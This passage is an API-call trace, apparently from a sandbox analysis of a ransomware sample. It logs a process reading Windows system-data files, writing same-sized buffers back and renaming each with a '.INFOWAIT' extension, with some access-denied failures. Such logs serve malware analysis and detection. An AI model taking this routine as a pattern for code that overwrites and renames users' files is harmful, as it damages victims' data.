returned 0 [0131.861] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.862] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x65578 [0131.862] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.862] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.862] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0131.864] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0131.873] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.874] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0131.874] CloseHandle (hObject=0xad0) returned 1 [0131.874] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" [0131.874] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.INFOWAIT" [0131.874] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db.infowait")) returned 1 [0131.875] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.876] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.877] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.877] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.877] GetLastError () returned 0x5 [0131.877] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.877] GetLastError () returned 0x5 [0131.877] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.877] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.877] lstrlenW (lpString="CreateFile") returned 10 [0131.877] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.877] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.877] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.877] lstrlenW (lpString="5") returned 1 [0131.877] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.877] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.877] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.877] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.877] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.877] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.877] LocalFree (hMem=0x65ded8) returned 0x0 [0131.877] LocalFree (hMem=0x2568430) returned 0x0 [0131.877] GetLastError () returned 0x5 [0131.877] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.878] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0131.878] GetLastError () returned 0x5 [0131.878] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0131.878] GetLastError () returned 0x5 [0131.878] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0131.878] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0131.878] lstrlenW (lpString="CreateFile") returned 10 [0131.878] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0131.878] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0131.878] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0131.878] lstrlenW (lpString="5") returned 1 [0131.878] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0131.878] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0131.878] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.878] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.878] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0131.878] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0131.878] LocalFree (hMem=0x65ded8) returned 0x0 [0131.878] LocalFree (hMem=0x2568430) returned 0x0 [0131.878] GetLastError () returned 0x5 [0131.878] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.878] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.879] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2b0000 [0131.879] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.880] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.880] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0131.918] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0131.928] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.928] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0131.928] CloseHandle (hObject=0xad0) returned 1 [0131.928] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" [0131.928] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl.INFOWAIT" [0131.928] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl.infowait")) returned 1 [0131.929] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.930] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.931] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.931] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.932] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7122 [0131.932] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.932] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.932] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7122, lpOverlapped=0x0) returned 1 [0131.952] VirtualAlloc (lpAddress=0x0, dwSize=0x7122, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.954] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.954] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7122, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7122, lpOverlapped=0x0) returned 1 [0131.954] CloseHandle (hObject=0xad0) returned 1 [0131.954] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" [0131.954] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml.INFOWAIT" [0131.954] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml.infowait")) returned 1 [0131.955] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.956] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.956] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.956] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.956] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5600 [0131.956] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.957] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.957] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5600, lpOverlapped=0x0) returned 1 [0131.976] VirtualAlloc (lpAddress=0x0, dwSize=0x5600, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.978] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.978] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5600, lpOverlapped=0x0) returned 1 [0131.978] CloseHandle (hObject=0xad0) returned 1 [0131.978] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" [0131.978] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml.INFOWAIT" [0131.978] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml.infowait")) returned 1 [0131.979] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.980] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.980] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.980] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.981] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5600 [0131.981] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.981] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.982] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5600, lpOverlapped=0x0) returned 1 [0131.983] VirtualAlloc (lpAddress=0x0, dwSize=0x5600, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.985] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.985] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5600, lpOverlapped=0x0) returned 1 [0131.985] CloseHandle (hObject=0xad0) returned 1 [0131.985] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" [0131.985] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.INFOWAIT" [0131.985] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml.infowait")) returned 1 [0131.986] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.986] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.987] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.987] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0131.988] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x41f0 [0131.988] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.988] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.988] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x41f0, lpOverlapped=0x0) returned 1 [0132.068] VirtualAlloc (lpAddress=0x0, dwSize=0x41f0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.070] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.070] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x41f0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x41f0, lpOverlapped=0x0) returned 1 [0132.070] CloseHandle (hObject=0xad4) returned 1 [0132.070] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" [0132.070] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.INFOWAIT" [0132.070] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.infowait")) returned 1 [0132.071] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.072] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.072] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.072] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x20000 [0132.072] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.073] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.073] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x20000, lpOverlapped=0x0) returned 1 [0132.093] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.103] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.103] WriteFile (in: hFile=0xad4, 